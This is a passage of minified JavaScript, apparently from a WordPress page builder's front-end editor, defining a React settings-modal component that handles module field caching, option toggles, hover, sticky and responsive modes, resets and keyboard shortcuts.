t._hasColumnsFields=t._hasColumnsFields.bind(t),t._onChange=t._onChange.bind(t),t._onChangeDynamic=t._onChangeDynamic.bind(t),t._resetOption=t._resetOption.bind(t),t._isResetActive=t._isResetActive.bind(t),t._onClickHelp=t._onClickHelp.bind(t),t._onClickHover=t._onClickHover.bind(t),t._onClickResponsive=t._onClickResponsive.bind(t),t._onClickSticky=t._onClickSticky.bind(t),t._onClickReset=t._onClickReset.bind(t),t._onMouseEnterGroup=t._onMouseEnterGroup.bind(t),t._onMouseLeaveGroup=t._onMouseLeaveGroup.bind(t),t._onToggleRightMenu=t._onToggleRightMenu.bind(t),t._onClickToggle=t._onClickToggle.bind(t),t._handleFormSubmission=t._handleFormSubmission.bind(t),t._unsyncGlobalSetting=t._unsyncGlobalSetting.bind(t),t._unsyncGlobalContent=t._unsyncGlobalContent.bind(t),t._onFilterInput=t._onFilterInput.bind(t),t._onFilterSelect=t._onFilterSelect.bind(t),t._onFilterChanged=t._onFilterChanged.bind(t),t._onGoToOption=t._onGoToOption.bind(t),t._isOptionMatchesFilter=t._isOptionMatchesFilter.bind(t),t._handleShortcuts=t._handleShortcuts.bind(t),t._onComponentAdvancedFieldDefinitionChange=t._onComponentAdvancedFieldDefinitionChange.bind(t),t._onComponentFieldDefinitionChange=t._onComponentFieldDefinitionChange.bind(t),t._onComponentCSSFieldDefinitionChange=t._onComponentCSSFieldDefinitionChange.bind(t),t._onComponentDefinitionsChange=t._onComponentDefinitionsChange.bind(t),t._onModalRest=t._onModalRest.bind(t),t._getOptionsFields=t._getOptionsFields.bind(t),t.getTabsCount=t.getTabsCount.bind(t),t.maybeGetFirstOpenedToggle=t.maybeGetFirstOpenedToggle.bind(t),t._onQuickAccessSwitchTab=t._onQuickAccessSwitchTab.bind(t),t._onQuickAccessActive=t._onQuickAccessActive.bind(t),t._setHoveredToggleElement=t._setHoveredToggleElement.bind(t),t._setHoveredSubToggleElement=t._setHoveredSubToggleElement.bind(t),t.productTourOptionToggle=!1,t.builder_display_modal_settings=qe.a.getAppPreference("builder_display_modal_settings"),t.mouseLeaveTimeout=0,t.hoverStarted=0,t.isModalRestTimeout=null,t}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(n,r["Component"]),Ot(n,[{key:"getComponentFields",value:function(e){var t=arguments.length>1&&void 0!==arguments[1]&&arguments[1],n=arguments[2],o=n||Object(yt.b)(e),r=n?"general_fields__"+n:o;if(this.cache.has(o,r))return this.cache.get(o,r);var i=qe.a.filterUserFields(Ke.d.getComponentFields(n?{props:{type:n}}:e,t));return this.cache.set(o,r,i),i}},{key:"getComponentAdvancedFields",value:function(e,t){var n=Object(yt.b)(e);if(this.cache.has(n,"advanced_fields"))return this.cache.get(n,"advanced_fields");var o=qe.a.filterUserFields(Ke.d.getComponentAdvancedFields(e,t));return this.cache.set(n,"advanced_fields",o),o}},{key:"getComponentCSSFields",value:function(e,t){var n=Object(yt.b)(e);if(this.cache.has(n,"css_fields"))return this.cache.get(n,"css_fields");var o=qe.a.filterUserFields(Ke.d.getComponentCSSFields(e,t));return this.cache.set(n,"css_fields",o),o}},{key:"getComponentCustomTabFields",value:function(e,t){if(this.cache.has(e,"custom_tab-"+t))return this.cache.get(e,"custom_tab-"+t);var n=qe.a.filterUserFields(Ke.d.getComponentCustomTabFields(e,t));return this.cache.set(e,"custom_tab-"+t,n),n}},{key:"getModuleCustomTabs",value:function(e){if(this.cache.has(e,"module_custom_tabs"))return this.cache.get(e,"module_custom_tabs");var t=Ke.d.getComponentCustomTabs(e);return this.cache.set(e,"module_custom_tabs",t),t}},{key:"UNSAFE_componentWillMount",value:function(){this.cache.reset(),Ke.d.addComponentAdvancedFieldDefinitionChangeListener(this._onComponentAdvancedFieldDefinitionChange),Ke.d.addComponentFieldDefinitionChangeListener(this._onComponentFieldDefinitionChange),Ke.d.addComponentFieldDefinitionsChangeListener(this._onComponentFieldDefinitionsChange),Ke.d.addComponentCSSFieldDefinitionChangeListener(this._onComponentCSSFieldDefinitionChange),qe.a.addGoToOptionListener(this._onGoToOption),qe.a.addQuickAccessSwitchTabListener(this._onQuickAccessSwitchTab),qe.a.addQuickAccessActiveListener(this._onQuickAccessActive),qe.a.addOptionsFilterChangeListener(this._onFilterChanged),this._onChangeCacheReset=de()(this._onChangeCacheReset,400,{leading:!0,trailing:!1})}},{key:"componentDidMount",value:function(){this.props.moduleRenderMode!==this.props.activeTabMode&&ze.b.setModuleSettingMode(this.props.moduleRenderMode,!1),Re.default.topWindow().document.addEventListener("keydown",this._handleShortcuts),this.setState({tabsCount:this.getTabsCount()}),qe.a.addGlobalPresetsStateChangeListener(this._onGlobalPresetsStateChange),qe.a.addModulePresetChangeListener(this._onModulePresetChange),Ke.d.addComponentDefinitionsChangeListener(this._onComponentDefinitionsChange)}},{key:"componentDidUpdate",value:function(e,t){var n=this.props;if(X()(n,"module.props.address","")!==X()(e,"module.props.address","")){var o=X()(e,"module.props.is_module_child"),r=this.maybeGetFirstOpenedToggle(o);r&&this.setState({openedToggle:r})}this.props.module!==e.module&&(this.setting_resolver=this.getSettingResolver(),this.setState({tabsCount:this.getTabsCount()})),this.props.isGlobalPresetsMode!==e.isGlobalPresetsMode&&(this.setting_resolver=this.getSettingResolver()),n.isVisible&&!e.isVisible&&(this.setState({filterOptions:"",openedToggle:"main_content",filterSelected:void 0,filterNotice:!1}),this.productTourOptionToggle=!1),this.maybeShowFilterNotice()}},{key:"UNSAFE_componentWillReceiveProps",value:function(e){O()(e.optionsFilter)||this.cache.reset();var t=X()(e,"module.props.type");if(e.module&&this.props.module.type!==t&&!T()(this.props,e)){this.props.isGlobalPresetsMode!==e.isGlobalPresetsMode&&this.cache.reset();var n=this.getComponentAdvancedFields(e.module,e.isGlobalPresetsMode),o=this.getComponentFields(e.module,e.isGlobalPresetsMode),r=this.getComponentCSSFields(e.module,e.isGlobalPresetsMode),i=Object(yt.b)(e.module),a=this.getCustomTabsFields(i);this.module_type=i,this.setState(Et({advancedFields:n,generalFields:o,cssFields:r},a))}}},{key:"UNSAFE_componentWillUpdate",value:function(e){if(!T()(X()(this,"props.isVisible"),X()(e,"isVisible"))){var t=qe.a.getAppPreference("builder_display_modal_settings"),n=X()(e,"module.props.type");if(t&&!A()(n)){var o=te()(Ke.d.getComponentFieldsByFieldTypes(e.module,["custom_margin","custom_padding","range"]));ze.b.setListenerQuotaForGroup("settings-modal",o)}}}},{key:"componentWillUnmount",value:function(){Re.default.appWindow().clearTimeout(Re.default.appWindow().ETBuilderFormGroupMouseEnterTimeout),Re.default.appWindow().clearTimeout(this.mouseLeaveTimeout),Pt.flush(),Ke.d.removeComponentAdvancedFieldDefinitionChangedListener(this._onComponentAdvancedFieldDefinitionChange),Ke.d.removeComponentFieldDefinitionChangedListener(this._onComponentFieldDefinitionChange),Ke.d.removeComponentFieldDefinitionsChangedListener(this._onComponentFieldDefinitionsChange),Ke.d.removeComponentCSSFieldDefinitionChangedListener(this._onComponentCSSFieldDefinitionChange),Ke.d.removeComponentDefinitionsChangeListener(this._onComponentDefinitionsChange),qe.a.removeQuickAccessSwitchTabListener(this._onQuickAccessSwitchTab),qe.a.removeQuickAccessActiveListener(this._onQuickAccessActive),qe.a.removeOptionsFilterChangeListener(this._onFilterChanged),Re.default.topWindow().document.removeEventListener("keydown",this._handleShortcuts),clearTimeout(this.focusTimer),clearTimeout(this.filterNoticeTimer),clearTimeout(this.filterTimer),clearTimeout(this.goToOptionTimer),clearTimeout(this.quickAccessScrollUp),clearTimeout(this.quickAccessOpenToggle),clearTimeout(this.isModalRestTimeout),qe.a.removeGoToOptionListener(this._onGoToOption),qe.a.removeGlobalPresetsStateChangeListener(this._onGlobalPresetsStateChange),qe.a.removeModulePresetChangeListener(this._onModulePresetChange)}},{key:"maybeGetFirstOpenedToggle",value:function(e){var t=this.props.module,n=X()(t,"props.type"),o=this._getNonEmptyToggles(n,"general.toggles","general"),r=X()(o,"toggles"),i=X()(r,this.state.openedToggle);if(e){var a=X()(t,"props.module_items_config",{}),s=X()(a,"toggle_slug");if(s)return s;if(!i)return"main_content"}if(i)return!1;if(!r)return!1;var l=m()(r,function(e,t){var n=V()(e)?e:{title:e,priority:10};return n.name=t,n}),u=ve()(l,"priority","asc");return X()(ye()(u),"name","main_content")}},{key:"_updateSettingResolverGlobalPresetsAttrs",value:function(e,t){this.props.isGlobalPresetsMode&&se()(this.setting_resolver,"source_object.props.attrs."+e,t)}},{key:"_handleShortcuts",value:function(e){var t=this,n=e.metaKey,o=e.altKey,r=e.ctrlKey,i=27===e.keyCode,a=e.shiftKey,s=32===e.keyCode,u=Re.default.$topWindow(Object(l.findDOMNode)(this)).find(".et-fb-options-filter input"),c=u.length>0&&u.is(":focus");if(c&&a&&s)e.preventDefault();else{if(i&&this._isFilterActive())return e.preventDefault(),this.filterTimer=setTimeout(function(){t.setState({filterOptions:"",filterSelected:void 0,filterNotice:!1})},300),!1;!c||n||o||r||27===e.keyCode||e.stopPropagation(),i&&this.props.isGlobalPresetsMode&&(ze.b.saveModulePresetSettings(this._getModule()),e.stopPropagation())}}},{key:"_onComponentAdvancedFieldDefinitionChange",value:function(e,t,n){if(!this.props.isGlobalPresetsMode){var o=J()({},this.state.advancedFields);se()(o,[e,t],n),this.cache.reset(),this.setState({advancedFields:o})}}},{key:"_onComponentFieldDefinitionChange",value:function(e,t,n){var o=J()({},this.state.generalFields);se()(o,[e,t],n),this.cache.reset(),this.setState({generalFields:o})}},{key:"_onComponentCSSFieldDefinitionChange",value:function(e,t,n){var o=J()({},this.state.cssFields);se()(o,[e,t],n),this.setState({cssFields:o})}},{key:"_onComponentDefinitionsChange",value:function(e){e===X()(this._getModule(),"props.type")&&this._updateComponentDefinitions()}},{key:"_onModalRest",value:function(){var e=this;this.isModalRestTimeout=setTimeout(function(){e.setState({isModalRest:!0})},1)}},{key:"getSettingResolver",value:function(){var e=this,t=new Fe.a(this._getModule(),{},"props.attrs.");if(this.props.isGlobalPresetsMode){var n=Re.default.flattenFields(Et({},this.getComponentFields(this._getModule()),this.getComponentAdvancedFields(this._getModule()),this.getComponentFields(this._getModule()))),o={};C()(n,function(t){t.show_if&&C()(Z()(t.show_if),function(t){o[t]=X()(e.props,"module.props.attrs."+t)}),t.show_if_not&&C()(Z()(t.show_if_not),function(t){o[t]=X()(e.props,"module.props.attrs."+t)})}),t.source_object={props:{attrs:J()({},o,this.getModuleAttrs())}}}return t}},{key:"getCustomTabsList",value:function(){var e=this.props.module,t=this.getModuleCustomTabs(e.props.type);return!O()(t)&&t}},{key:"getCustomTabsFields",value:function(e){var t=this,n=this.getCustomTabsList();if(!n)return!1;var o={};return C()(n,function(n,r){o[r+"Fields"]=t.getComponentCustomTabFields(e,r)}),o}},{key:"_getModule",value:function(){return this.props.module}},{key:"getBulk",value:function(){var e=this._getModule(),t=X()(e,"props.address");return O()(e)?{}:qe.a.isMultiItemSelected(t)?qe.a.getMultiSelectItemsData():Tt({},t,e)}},{key:"getModuleAttrs",value:function(){var e=this._getModule(),t=X()(e,"props.type"),n=X()(e,"props.address"),o=qe.a.isMultiItemSelected(n);return this.props.isGlobalPresetsMode?Ke.d.getComponentGlobalPresets(e):o?ut.a.generateSelectedAttrs(t,X()(e,"props.attrs",{}),this.updatedAttrs):X()(e,"props.attrs",{})}},{key:"_isVisible",value:function(e,t){var n=this;if(this.props.isGlobalPresetsMode){var o=je()(["animation"],function(t){return!K()(e.name,t)}),r=je()(["text_shadow"],function(t){return-1===e.name.indexOf(t)});if(o&&r)return!0}var i=this.getModuleAttrs(),a=Ke.d.getComponentDefaults(this.module_type),s=[];return C()(e.depends_on,function(o){var r=o,l=pt.a.isHoverMode()&&pt.a.isHoverEnabled(o,i),u=pt.a.isResponsiveMode()&&pt.a.isResponsiveEnabled(o,i);(l||u)&&(o=pt.a.getNameByMode(o,i));var c=X()(t[o],"type","");if(X()(t[o],"depends_on",!1)&&!n._isVisible(t[o],t))return!1;var d=X()(i,o,X()(a,o,""));if((l||u)&&A()(d)&&(d=X()(a,r,X()(t[r],"shortcode_default"))),"upload"!==c&&"text"!==c||""===d||(d="on"),A()(e.depends_show_if)||d!==e.depends_show_if||s.push(o),!A()(e.depends_show_if_not)){var p=e.depends_show_if_not;if(k()(e,"depends_on_responsive")&&N()(e.depends_on_responsive,o)){var f=X()(i,""+o,""),h=X()(i,o+"_tablet",""),m=X()(i,o+"_phone","");Re.default.getResponsiveStatus(X()(i,o+"_last_edited"))?N()(p,f)&&N()(p,h)&&N()(p,m)||s.push(o):N()(p,f)||s.push(o)}else{(B()(p)?!N()(p,d):d!==p)&&s.push(o)}}}),!O()(s)}},{key:"_isModuleItemSettings",value:function(){return!A()(this.props.module.isModuleItem)}},{key:"_isModalExpanded",value:function(){var e=Object(ht.e)(),t=e.snap,n=e.snapLocation,o=Object(ht.b)().width,r=N()(["top","bottom"],n),i=Re.default.topWindow().innerWidth<Ue.a.responsive.phone;return(t&&r&&Re.default.topWindow().innerWidth>1200||o>1200)&&!i}},{key:"_isToggleOpened",value:function(e,t){var n="general"===t,o="design"===t,r="css"===t,i=this._isModalExpanded();if(t&&i){if(n)return this.state.openedGeneralGroup===e;if(o)return this.state.openedDesignGroup===e;if(r)return this.state.openedCSSGroup===e}return this.state.openedToggle===e}},{key:"_isMultiSelectMode",value:function(){var e=X()(this._getModule(),"props.address");return qe.a.isMultiItemSelected(e)}},{key:"_hasColumnsFields",value:function(){var e=this.props.module.props.type,t=this.getModuleAttrs(),n=Re.default.isOn(t.specialty)&&"et_pb_section"===e;return N()(["et_pb_row","et_pb_row_inner"],e)||n}},{key:"_hasModuleItem",value:function(){return!z()(this.props.module.props.child_slug)&&!A()(this.props.module.props.child_slug)}},{key:"_emitSettingsChange",value:function(e,t,n,o,r,i){"sticky_position"===t&&(He.a.clearEnabledStickyPositionAddress(),He.a.isStickyMode()&&(ze.b.setModuleSettingMode("desktop"),ze.b.setModuleSettingMode("sticky"))),this.props.isGlobalPresetsMode?ze.b.updateModulePresetSetting(e,t,n,r,i):ze.b.moduleSettingsChange(e,t,n,o,r,i)}},{key:"_onChange",value:function(e,t,n,r,i){var a=this;this._onChangeCacheReset(),this._updateSettingResolverGlobalPresetsAttrs(e,t),this.updatedAttrs[e]=t;var s=X()(this.props.module,"props.address"),l=qe.a.isMultiItemSelected(s);if("raw_content"!==e){var u=e.split("_"),c="padding_mobile"!==e&&"padding"===u[0]&&2===u.length;if(r)!A()(this.props.module)&&this.props.module&&(l?ze.b.multiSelectContentChange(this.props.module,t):ze.b.moduleContentChange(this.props.module,t));else{A()(this.props.module)||A()(this.props.module.props)||"et_pb_social_media_follow_network"!==this.props.module.props.type||"social_network"!==e||(l?ze.b.multiSelectContentChange(this.props.module,t):ze.b.moduleContentChange(this.props.module,t));var d=N()(["custom_css_before","custom_css_main_element","custom_css_after"],e)?e.replace("custom_css_",""):e,p=this._getModule(),f=this.getModuleAttrs(),h=X()(p,"props.type"),g=X()(f,""+e),v=qe.a.getHoverMode(),b=this._getAllOptionsFields()[d],y=A()(b)||A()(b.depends_on)?e:b.depends_on[0],_=!A()(b)&&!!b.hover&&(Be.a.isEnabled(e,f)||Be.a.isEnabled(y,f)),w=!0===v&&!0===_?Be.a.hoverSuffix():"",E=!1;if(K()(h,"et_pb_signup")){var O=ETBuilderBackend.emailPredefinedCustomFields,S=X()(p,"parentModule.props.attrs"),T=this.getComponentFields({props:{type:"et_pb_signup"}}),M=X()(T,"provider.default"),x=X()(f,"provider",X()(S,"provider",M)),P=X()(f,x+"_list",X()(S,x+"_list","")).split("|"),j=Ct(P,2),L=j[0],D=j[1];if("et_pb_signup"===h){var F=k()(O,[x,L,D]);"provider"===e&&t!==g?E=!0:F&&x+"_list"===e&&t!==g&&(E=!0)}else if("et_pb_signup_custom_field"===h&&K()(e,"predefined_field_")&&t!==g){l?ze.b.multiSelectSettingsChange(o,"predefined_field",t):this._emitSettingsChange(p,"predefined_field",t);var I=[x,L];k()(O,[x,L,"custom_fields"])?I.push("custom_fields"):I.push(D),I.push(t);var R=X()(O,I);if(R){if(R.field_id!==f.field_id&&(l?ze.b.multiSelectSettingsChange(o,"field_id",R.field_id.toString()):this._emitSettingsChange(p,"field_id",R.field_id.toString())),R.name!==f.field_title&&(l?ze.b.multiSelectSettingsChange(o,"field_title",R.name):this._emitSettingsChange(p,"field_title",R.name)),!A()(R.hidden)||"on"===X()(f,"hidden")){var B=R.hidden?"on":"off";B!==f.hidden&&(l?ze.b.multiSelectSettingsChange(o,"hidden",B):this._emitSettingsChange(p,"hidden",B))}if("any"!==R.type&&R.type!==f.field_type&&(l?ze.b.multiSelectSettingsChange(o,"field_type",R.type):this._emitSettingsChange(p,"field_type",R.type),R.options)){var W=m()(R.options,function(e,t){return{checked:0,value:e,id:t}});l?ze.b.multiSelectSettingsChange(o,R.type+"_options",JSON.stringify(W)):this._emitSettingsChange(p,R.type+"_options",JSON.stringify(W))}}}}if(c){var V=u[1],H=["padding_top_"+V+w,"padding_right_"+V+w,"padding_bottom_"+V+w,"padding_left_"+V+w,"padding_top_bottom_link_"+V+w,"padding_left_right_link_"+V+w],U=G()(t)?t.split("|"):["","","","","",""];C()(H,function(e,t){var o=A()(U[t])?"":U[t];o!==f[e]&&(l?ze.b.multiSelectSettingsChange(a.props.module,e,o,null,n):a._emitSettingsChange(p,e,o,null,n))})}else 0===e.indexOf("custom_css")&&(xt.addClass("et_fb_preview_container__disable_animations"),Pt()),l?ze.b.multiSelectSettingsChange(this.props.module,""+e+w,t,null,n,i):this._emitSettingsChange(p,""+e+w,t,null,n,i),E&&ze.b.deleteModuleChildren(X()(p,"props.address"))}}else l?ze.b.multiSelectContentChange(this.props.module,t):ze.b.moduleContentChange(this.props.module,t)}},{key:"_isFilterActive",value:function(){return Re.default.hasValue(this.state.filterOptions)||Re.default.hasValue(this.state.filterSelected)}},{key:"_onChangeDynamic",value:function(e,t,n,o,r){"et_pb_counter"===this.props.module.props.type&&"content"===pt.a.getBaseName(e)&&this._onChange(e,"",n,!0),this._onChange(e,t,n,o,r)}},{key:"_resetOption",value:function(e){if(!A()(e)&&""!==e){var t=this._getModule();this._emitSettingsChange(t,e,"")}}},{key:"_onClickHover",value:function(e){var t=this,n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:[],o=this._getModule();if(o){var r=n&&B()(n)?[e].concat(St(n)):[e],i=pt.a.getHoverEnabledToggleValue(e,this.getModuleAttrs(),this.props.activeTabMode),a=qe.a.isMultiItemSelected(X()(o,"props.address"));C()(r,function(e){var n=pt.a.getHoverEnabledName(e);a?ze.b.multiSelectSettingsChange(o,n,i):t._emitSettingsChange(o,n,i)}),0===i.indexOf("on")||pt.a.isAnyHoverEnabled(this.getModuleAttrs())||(a?ze.b.multiSelectSettingsChange(o,"hover_enabled",0):ze.b.moduleSettingsChange(o,"hover_enabled",0),pt.a.isHoverMode()&&ze.b.setModuleSettingMode("desktop",!0))}}},{key:"_onClickSticky",value:function(e){var t=this,n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:[],o=this._getModule();if(o){var r=n&&B()(n)?[e].concat(St(n)):[e],i=pt.a.getStickyEnabledToggleValue(e,this.getModuleAttrs(),this.props.activeTabMode),a=qe.a.isMultiItemSelected(X()(o,"props.address"));C()(r,function(e){var n=pt.a.getStickyEnabledName(e);a?ze.b.multiSelectSettingsChange(o,n,i):t._emitSettingsChange(o,n,i)}),0===i.indexOf("on")||pt.a.isAnyStickyEnabled(this.getModuleAttrs())||(a?ze.b.multiSelectSettingsChange(o,"sticky_enabled",0):ze.b.moduleSettingsChange(o,"sticky_enabled",0),pt.a.isStickyMode()&&ze.b.setModuleSettingMode("desktop",!0))}}},{key:"_onClickResponsive",value:function(e){var t=this,n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:[],o=this._getModule();if(o){var r=n&&B()(n)?[e].concat(St(n)):[e],i=pt.a.getResponsiveEnabledToggleValue(e,this.getModuleAttrs(),this.props.activeTabMode),a=qe.a.isMultiItemSelected(X()(o,"props.address"));C()(r,function(e){var n=pt.a.getResponsiveEnabledName(e);a?ze.b.multiSelectSettingsChange(o,n,i):t._emitSettingsChange(o,n,i)}),0!==i.indexOf("on")&&pt.a.isResponsiveMode()&&!pt.a.isAnyResponsiveEnabled(this.getModuleAttrs())&&ze.b.setModuleSettingMode("desktop",!0)}}},{key:"_onClickReset",value:function(e){var t=this,n=X()(e,"props.name",!1);if(n){var o=this._getAllOptionsFields()[e.props.name],r=o&&o.type;if("select_box_shadow"!==r&&"presets_shadow"!==r){var i=this._getModule();if(i){var a=this.getModuleAttrs(),s=X()(i,"props.address"),l=qe.a.isMultiItemSelected(s),u=X()(e,"props.backgroundFields",!1);if(u)C()(Z()(u),function(e){var n=pt.a.getNameByMode(e,a);l?ze.b.multiSelectSettingsChange(i,n,void 0,!1,void 0,!0):t._emitSettingsChange(i,n,void 0,!1,void 0,!0)});else if(Lt(n)){var c=Dt(Nt(n));l?c.map(function(e){return ze.b.multiSelectSettingsChange(i,Be.a.getCompositeFieldOnHover(e,n,a),void 0,!1,void 0,!0)}):c.map(function(e){return ze.b.moduleSettingsChange(i,Be.a.getCompositeFieldOnHover(e,n,a),void 0,!1,void 0,!0)})}else{var d=pt.a.getNameByMode(n,a);if("content"===d){var p=Re.default.get(X()(e,"props.default_on_front"),Re.default.get(X()(e,"props.defaultValue"),X()(X()(this._getAllOptionsFields(),n,{}),"default","")));l?ze.b.multiSelectContentChange(i,p):ze.b.moduleContentChange(i,p)}else l?ze.b.multiSelectSettingsChange(i,d,void 0,!1,void 0,!0):this._emitSettingsChange(i,d,void 0,!1,void 0,!0)}}}else{var f=_t.a.getResetAction();ze.b.rightClickMenuAction(f,"",{simulateRightClick:!0})}}}},{key:"_isResetActive",value:function(e){var t=this,n=X()(e,"name",!1),o=this._getModule(),r=this.getModuleAttrs(),i=this.props.activeTabMode;if(!n||!V()(o))return!1;var a=function(e){var t="desktop"!==i?Re.default.get(X()(e,"default"),X()(e,"default_"+i)):X()(e,"default");return B()(t)?X()(X()(t,1,{}),X()(r,X()(t,0))):t},s=function(e){return"content"===e?X()(o,"props.content"):X()(r,e)},l=X()(e,"backgroundFields",!1)||X()(e,"background_fields",!1);if(l){var u=Z()(l).filter(function(e){return!!Ne()("_use_color_gradient",e)||(-1!==e.indexOf("_enable_")||"use_background_color_gradient"===e)});return ke()(l,function(e,t){var n=pt.a.getBaseName(t,r);if(N()(u,n))return!1;var o=pt.a.getNameByMode(n,r),l=s(o);if(A()(l))return!1;var c=a(e);return!("desktop"===i&&""===l&&!Re.default.hasValue(c))&&c!==l})}if(Lt(n)){var c=Nt(n);return Dt(c).map(function(e){return X()(t.state.advancedFields,e+".default","")}).join("|")!==Dt(c).map(function(e){return X()(r,""+Be.a.getCompositeFieldOnHover(e,n,r))}).join("|")}var d=s(pt.a.getNameByMode(n,r));if(A()(d))return!1;var p=a(e);return!("desktop"===i&&""===d&&!Re.default.hasValue(p))&&p!==d}},{key:"_onClickToggle",value:function(e,t,n,o){if(!qe.a.getAppPreference("builder_display_modal_settings")){var r=this._isModalExpanded(),i=r?Ue.a.topbar.mobile:10,a="general"===n,s="design"===n,u="css"===n;if(this._isToggleOpened(e,n)&&A()(o)){if(a)return this.setState({openedGeneralGroup:"",openedToggle:""});if(s)return this._setHoveredToggleElement(e,!1,!0),this.setState({openedDesignGroup:"",openedToggle:""});if(u)return this.setState({openedCSSGroup:"",openedToggle:""})}if(!this._isToggleOpened(e)||(this.setState({openedToggle:""}),!A()(o))){var c="design"===n?"advanced":n,d=".et-fb-tabs__panel--"+c+" .et-fb-form__toggle[data-name='"+e+"']",p=Re.default.$topWindow(d).prevAll(".et-fb-form__toggle").length+1,f=1===p?0:61*p-i,h=".et-fb-tabs__panel--"+c+" .et-fb-settings-module-items-wrap";"general"===c&&Re.default.$topWindow(h).length&&(1===p&&(f+=Re.default.$topWindow(".et-fb-options-filter-input-wrap").height()),f+=Re.default.$topWindow(h).outerHeight()+30),r?Re.default.$topWindow(Object(l.findDOMNode)(this)).find(".et-fb-tabs__panel--"+c).animate({scrollTop:f},300):Re.default.$topWindow(Object(l.findDOMNode)(this)).find(".et-fb-tabs__panel--active").animate({scrollTop:f},300),this.setState({openedToggle:e,openedGeneralGroup:"general"===n?e:this.state.openedGeneralGroup,openedDesignGroup:"design"===n?e:this.state.openedDesignGroup,openedCSSGroup:"css"===n?e:this.state.openedCSSGroup}),s&&this._setHoveredToggleElement(e,!0,!0)}}}},{key:"_onQuickAccessSwitchTab",value:function(){var e=qe.a.getActiveQuickAccess().clickedToggle.toggleGroupId,t="design"===e?"advanced":e,n=Ae()(this._getTabs(),function(e){return e.slug===t});-1!==n&&this.setState({tabSelectedIndex:n})}},{key:"_onQuickAccessActive",value:function(){var e=this,t=qe.a.getActiveQuickAccess().clickedToggle,n=t.toggleId,o=t.toggleGroupId,r=t.toggleSubIdName,i=this._isModalExpanded(),a=qe.a.getAppPreference("builder_display_modal_settings"),s=i||a?Ue.a.topbar.mobile:10,u="design"===o?"advanced":o,c=".et-fb-tabs__panel--"+u+" .et-fb-form__toggle[data-name='"+n+"']";if(a)return clearTimeout(this.quickAccessScrollUp),void(this.quickAccessScrollUp=setTimeout(function(){var t=Re.default.$topWindow(Object(l.findDOMNode)(e)).find(".et-fb-tabs__panel--"+u),n=Re.default.$topWindow(c);if(0!==n.length){var o=n[0].offsetTop;t.animate({scrollTop:o},300)}},0));var d=Re.default.$topWindow(c).prevAll(".et-fb-form__toggle").length+1,p=1===d?0:61*d-s;i?(Re.default.$topWindow(Object(l.findDOMNode)(this)).find(".et-fb-tabs__panel--"+u).animate({scrollTop:p},300),this.setState({openedToggle:n,openedGeneralGroup:"general"===o?n:this.state.openedGeneralGroup,openedDesignGroup:"design"===o?n:this.state.openedDesignGroup,openedCSSGroup:"css"===o?n:this.state.openedCSSGroup,toggleTabs:se()(Et({},this.state.toggleTabs),[o,n],r),filterOptions:"",filterSelected:void 0,filterNotice:!1})):(clearTimeout(this.quickAccessScrollUp),this.quickAccessScrollUp=setTimeout(function(){Re.default.$topWindow(Object(l.findDOMNode)(e)).find(".et-fb-tabs__panel--active").animate({scrollTop:p},300)},0),clearTimeout(this.quickAccessOpenToggle),this.quickAccessOpenToggle=setTimeout(function(){e.setState({openedToggle:n,openedGeneralGroup:"general"===o?n:e.state.openedGeneralGroup,openedDesignGroup:"design"===o?n:e.state.openedDesignGroup,openedCSSGroup:"css"===o?n:e.state.openedCSSGroup,toggleTabs:se()(Et({},e.state.toggleTabs),[o,n],r),filterOptions:"",filterSelected:void 0,filterNotice:!1})},300))}},{key:"_setHoveredToggleElement",value:function(e,t,n){var o=this.props.module,r=X()(o,"props.type"),i=X()(o,"props.address");if(!A()(lt.i[r])){var a=lt.i[r];if(!A()(a[e])){var s={moduleAddress:i,toggleId:e,elementAddress:i,elementOrder:10,elementKey:null,elementOuter:null,toggleSubId:0,isChild:!A()(o.isModuleItem),src:"settings",isOpened:t,hovered:n,isSubOpened:!1,subHovered:!1};ze.b.quickAccessHighlight(s)}}}},{key:"_setHoveredSubToggleElement",value:function(e,t,n,o){var r=this.props.module,i=X()(r,"props.address");if(!A()(lt.g[e])){var a=lt.g[e],s=Oe()(a);if(!A()(s[t])){var l={moduleAddress:i,toggleId:e,elementAddress:i,elementOrder:10,elementKey:null,elementOuter:null,toggleSubId:t,isChild:!A()(r.isModuleItem),src:"settings",isOpened:!0,hovered:!1,isSubOpened:n,subHovered:o};ze.b.quickAccessHighlight(l)}}}},{key:"_unsyncGlobalContent",value:function(){this._unsyncGlobalSetting("et_pb_content_field",!0)}},{key:"_unsyncGlobalSetting",value:function(e,t){ze.b.unsyncGlobalSetting(e,this.props.module,t)}},{key:"_handleFormSubmission",value:function(t){if(t.preventDefault(),(A()(X()(this,"props.module.props.loading"))||!this.props.module.props.loading)&&!e(Object(l.findDOMNode)(this)).find(":focus").hasClass("wp-color-picker")){var n=this,o=this.props.module;C()(this.state.generalFields,function(e){"text"===e.type&&(A()(e.name)||-1===e.name.indexOf("url")&&-1===e.name.indexOf("alt")&&-1===e.name.indexOf("link")&&n._onChange(e.name,Re.default.decodeHtmlEntities(o.props.attrs[e.name])))}),ze.b.closeSettings(this._isModuleItemSettings())}}},{key:"_handleFieldConditionalDefaults",value:function(e,t,n){if(B()(e.default)&&"filter"===X()(e,"default.0")){var o=X()(e,"default.1").split("_").join(".");return Et({},e,{default:Object(We.d)(o,e)})}return B()(e.default)&&!O()(e.default)?Et({},e,{conditionalDefaults:e.default,default:n&&!O()(X()(t,e.name))?X()(t,e.name):Re.default.getConditionalDefault(e.default,t,!1,n)}):Et({},e)}},{key:"isGlobalModuleOpened",value:function(e){if(this.props.isGlobalPresetsMode)return!1;var t=this._getModule(),n=N()(["et_pb_section","et_pb_row","et_pb_row_inner"],X()(t,"props.type",""))?X()(t,"props.type",""):"et_pb_module";if(qe.a.isLibraryPostType()&&"global"===ETBuilderBackend.layoutScope){if(e){var o="et_pb_"+ETBuilderBackend.layoutType;return!X()(t,"isModuleItem")&&o===n}return!0}var r=this.getModuleAttrs(),i=X()(r,"global_parent",""),a=X()(r,"global_module",""),s=X()(t,"props.address").split(".");if(!e&&s.length>1){var l=!1,u=Re.default.getModuleAddressSequence(s);return C()(u,function(e){var t=f()(qe.a.getSectionsFlattened(),{address:e});if(""!==X()(t,"attrs.global_module",""))return 